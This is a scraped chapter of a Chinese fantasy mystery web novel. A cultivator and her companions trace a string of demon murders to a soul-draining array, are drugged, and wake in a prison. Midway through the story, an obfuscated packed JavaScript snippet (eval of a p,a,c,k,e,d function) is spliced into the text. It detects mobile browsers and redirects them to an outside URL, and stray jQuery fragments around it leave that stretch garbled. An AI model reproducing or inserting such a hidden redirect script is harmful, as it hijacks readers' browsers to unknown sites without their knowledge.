默认冷灰
24号文字
方正启体

5. 好人

作者:森林森林本书字数:K更新时间:
    入夜,墨色的云絮沉沉压在天际,淅淅沥沥的阴雨顺着屋檐滴落,阴冷潮湿的风自窗户漫进屋内。


    黎央摘下窗子,指尖灵力微闪,银色灵光从掌心扩散开来,覆过屋子布下结界,她拾起案上的剪子,拨弄烛芯,让烛灯更亮些。


    她的容色在烛火的映衬下显得愈发精致,唇角微抿,眸中思绪如潮水般翻涌。


    白日里,蛇三设宴时言道,之所以招纳能人异士,是因为五百年一回的祭典将至,却有许多修缮祭台的妖族被杀死。


    此宴正是委托他们捉凶。


    盘蛇城历年来的祭典原都在妖神庙举行,自妖神万年前被剥夺神格封印,盘蛇城便另立蛇庙举行祭典,每次祭典都由城主府主持,这一回正是轮到蛇三筹备祭典。


    由蛇三主持的筹备工作出了差池,他自然是火急火燎的想要解决问题。


    白日里黎央已去看过那些横死的尸体,他们身上无一例外的留有迷香,身上抓痕确是凶兽所为。


    从目前的证据看来,“苏择”所说的话,至少有一半是真的。


    那些妖的确是惑兽所杀——他倒是供认不讳。


    所以他与蛇三做局,引起师兄的注意,然后假扮成师兄的模样,带她入城,派兔妖说书,引她到城主府,又是为了什么呢?


    溯灵珠吗?


    一个只存在于传闻中的东西。


    还是九幽天狱?


    黎央手腕翻转,手心出现一枚玉佩——这是苏择的命牌。


    现下玉佩依旧散发着莹莹光辉,代表苏择安好。


    *


    翌日,天光微晴,昨夜阴雨已然散尽,只有屋檐还在“滴答——滴答——”。


    “啊——”


    一声尖叫划破雨后寂静,如水落热油,撕开了城主府的平静。


    众人纷纷向声源处聚集,待黎央来到前院,只见槐树下靠着一具男尸,是昨日坐黎央对面的王溪,他的道侣粟文正伏在尸身旁边哭。


    他脖颈处被三道抓痕抓破,却非致命伤。


    逐夜蹲下查看王溪的尸身,指腹沿着脖颈抓痕下移,直到胸口微微起伏处停下。


    他指尖一顿,猛的扯开王溪衣襟,绸布撕裂的声响在庭院中格外刺耳,衣襟下的皮肉骤然暴露出来,那处伤口已经溃烂狰狞,黑气翻涌的洞口却是格外生机——


    一颗鲜红的心脏在勃勃跳动。


    心脏的跳动已与周遭的死寂形成极致的反差。


    如此不循常理的事情属实令庭中众人感到诧异,有些胆小的妖族更是被吓飞了魂。


    王溪尸身早已凉透,他瞳孔涣散,眉目间已是死意,为何心还在跳?


    死人的心在跳动,如此悖逆伦常的事情放在哪里都是不合常理,一个分明已经魂飞魄散的人,如何还有生机活着?


    蛇三公子的话仿佛回荡在众人耳边。在王溪之前,已有无数妖族横死,昨夜他们众多修者住在一起,却没有听到半点风声。


    先前的死者皆是在下工途中又或是祭台被害,从未有过在城主府下手的先例,王溪是第一个在城主府内被杀害的人,凶手在挑衅他们。


    众人马不停蹄的分头调查,黎央和“苏择”去了蛇庙。


    ……


    众人将各自的调查结果整理在一起。


    “我与阿兄走访了诸位死者的街邻,我们发现,他们最后被人发现都是在祭台,还有槐树下,那么多人,全都死在那里。”虎妖福龄龄拿出了盘蛇城的舆图,上面标注着每一人的死亡地点,她指着东南西北的四处槐树,补充道,“这四棵槐树与城主府的这颗连起来对应着阵法,而在此方位之间,还有不少无关的人失踪,这些人正好连贯这五处方位。”


    “我和阿兄怀疑,这是个阵法。”她指尖按着城主府的那颗标记,妖光轻现,将舆图上的地点连贯起来,正好连星成阵。


    “是噬灵阵”,黎央扫过舆图,眉头紧皱,“这个阵法是上古时期的一位魔君为了提升修为所创的邪阵。”


    “此阵以东南西北为极,以布阵者为中心,再用魂魄连贯阵法,汲取他人灵魂,吸食他人灵力。”


    “这五颗槐树原是镇城的眼,五颗连星成阵,本该护城池、挡邪祟,但被有心之人钻了空子,以魂魄改变阵法走势,成了噬灵阵。”一道清冽低沉的声音骤然响起。


    逐夜神色严肃,又开口道,“死者皆死于槐树下、祭台旁,是阵眼吸魂的明证,而这些失踪的,怕是成了阵法的‘活祭’——心脏被挖走,魂魄被抽离,身体也被当做养料。”


    众人神情纷纷严肃起来,有人拿出收集到的槐树叶,施法现出叶片上翻涌的浓郁妖气,这比黎央前两日看到的还要浓烈,这般程度的妖气,多半是个大妖。


    粟文眼中恨意浓烈,恨不得立马杀了它为王溪报仇,她已被恨意冲昏头脑,急切的说道,“那我们现在应该去告诉三公子,是大妖作祟,早点解决这件事,早日为无辜死去的人报仇!”


    “你告诉他没用。”黎央拿出在蛇庙捡到的香料,看模样是蛇庙常年供奉用的香。


    “什么意思?这又是什么东西?”粟文不解道。


    “字面意思”她只回答了前者。


    粟文并不信黎央所言,她步履生风,走向门口,指尖触及冰凉的门扉,正要发力推开,那扇木门竟纹丝不动,任她如何运起灵力猛推,也只听得门轴处传来几声轻响。


    福龄龄眉峰骤拧,快步来到门前,施力重推,门扉却依旧死死闭着,仿佛锁死一般,她忽然感到妖力凝滞,仿佛被无形的网缚住。


    她猛然回头,看向黎央,“是蛇三对不对?”


    紧闭的房门,凝滞的法力,无一不暗示着什么,福龄龄几乎是瞬间就明白了了其中关窍。


    “你猜对了。”她指尖轻点,屋内缓慢涌现一股烛火香,众人初始还不觉得什么,但时间稍长,众人便闻到了隐隐约约的迷香,让人带有一种信服。


    “这是蛇庙的供香。”黎央掐灭迷香,清水泼上众人的脸。


    众人也是立马就清醒过来,呵,现在还有什么不明白的,庙中的迷香,异常顺利的调查,以城主府为中心的阵法,守卫森严的城主府却悄无声息的死了人。


    说与蛇三没关系,谁信?


    只可惜现下众人法力凝滞,不易轻举妄动。


    此时门外竟是已无半点人声,连风声都已一并消散,院落寂静得诡异。


    “呼——”


    浓郁苦闷的迷香席卷屋内,众人忽感身体疲软无力,眼前烛盏的火光已然恍惚,意识消散前只听得一声声响“哐当——”。


    ……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355002|199674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好重。


    意识勉强保持清醒,腰间被人锢住,只感受到身侧人的全部重量,她手指乱摸上他的手臂,使力推搡他。


    重死了,起来啊,混蛋!


    逐夜依旧沉沉的倒在她的身上,脑袋埋在她的肩上,手臂搭在她的腰间,远远瞧去,倒像是黎央依偎在他的怀里。


    混蛋,竟敢占她便宜,他要是还有命活着,看她怎么收拾他!


    确定周围没有看守之后,黎央指尖掐了道清心诀,灵台顿时清明许多,手中附上灵力,指尖自他的额头,摩挲过骨相分明的眉眼,然后是高挺的鼻梁和柔软的唇,最后是他骨节分明的喉结。


    好一张俊美的脸,黎央不由得感慨。


    “起开。”指尖却掐住他的咽喉,声音冷冽。


    逐夜在她的威胁下“醒来”,他装模作样的咳嗽了两声,又装模作样的疑惑。


    “这是在哪儿?”


    黎央翩然起身,嫌恶的拍了拍衣上的灰尘,没好气道,“秘境。”


    “哟,姑娘还生气呢。”逐夜垂眸,恶劣的堵在她面前。


    她抬眸看着逐夜,嘴角似笑非笑,“你要是想死在这儿,就尽管拦着。”


    “死便死了,我一介俗人能与如此美人死在一处,也算是一桩美谈。”他眸中带笑,语气轻佻,并不让步。


    黎央手腕一转,流羽弓拍上他的脸,“公子说笑了,只有你会死在这儿。”


    她美目流转,神色倨傲。只见黎央粗暴的打破了此地囚牢,流光自中心向四周散开,在他们隔壁的是福龄龄兄妹。


    “李姑娘,我们在这儿!”福龄龄蹦起来向黎央招手。


    黎央去了福龄龄那里。逐夜左手抚上被她拍过的侧脸,鼻尖轻嗅,嘴角勾起一抹笑意,快步跟了上去。


    他走时暗地布下几道阵法。


    “逐公子,原来你也在啊。”福龄龄补充道。


    逐夜眯了眯眼,他当然会在。


    福龄龄的哥哥,福年年解释道,这座阵法本该一人一囚,他与福龄龄还是因为血契才能在一起。


    “也不知其他人眼下如何了,李姑娘,逐公子,我们还是先出去吧!”福龄龄思虑着。妖雾自外向内弥漫,大抵就是蛇三关押他们的手段。


    “当然。”黎央递给兄妹二妖两支匕首,“蛇三拿走了你们的法器,先用它暂时防身吧。”


    手中匕首轻薄锋利,刀身银光流转,寒气中裹挟着磅礴杀意,令人触之生寒。福龄龄与兄长紧握住手中匕首,神色略显凝重。


    逐夜打量着兄妹二人,心生艳羡。


    思及黎央给了别人防身法器,却独独漏下自己,心中又是不得劲儿,眼皮一掀,就找黎央说理去。


    “哎,李姑娘可真是个好人,走哪儿都大发善心。”他绕着黎央转。“可怜我呀,只能一个人自生自灭了。”


    说罢,他又叹了口气。黎央想不注意都难。


    黎央嘴角一勾,冷讽道,“那公子可得小心些,没准儿现在就能遂愿。”


    又幻出一支箭羽,擦着逐夜耳畔疾掠,凛然罡风拂过他的面颊,他抬抬手,骨节分明的指尖在身前稳稳将箭矢扣住。


    看着黎央远去背影。


    他轻笑出声,低魅悦耳,又咬牙切齿,“谁都能给,确实是个好人。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)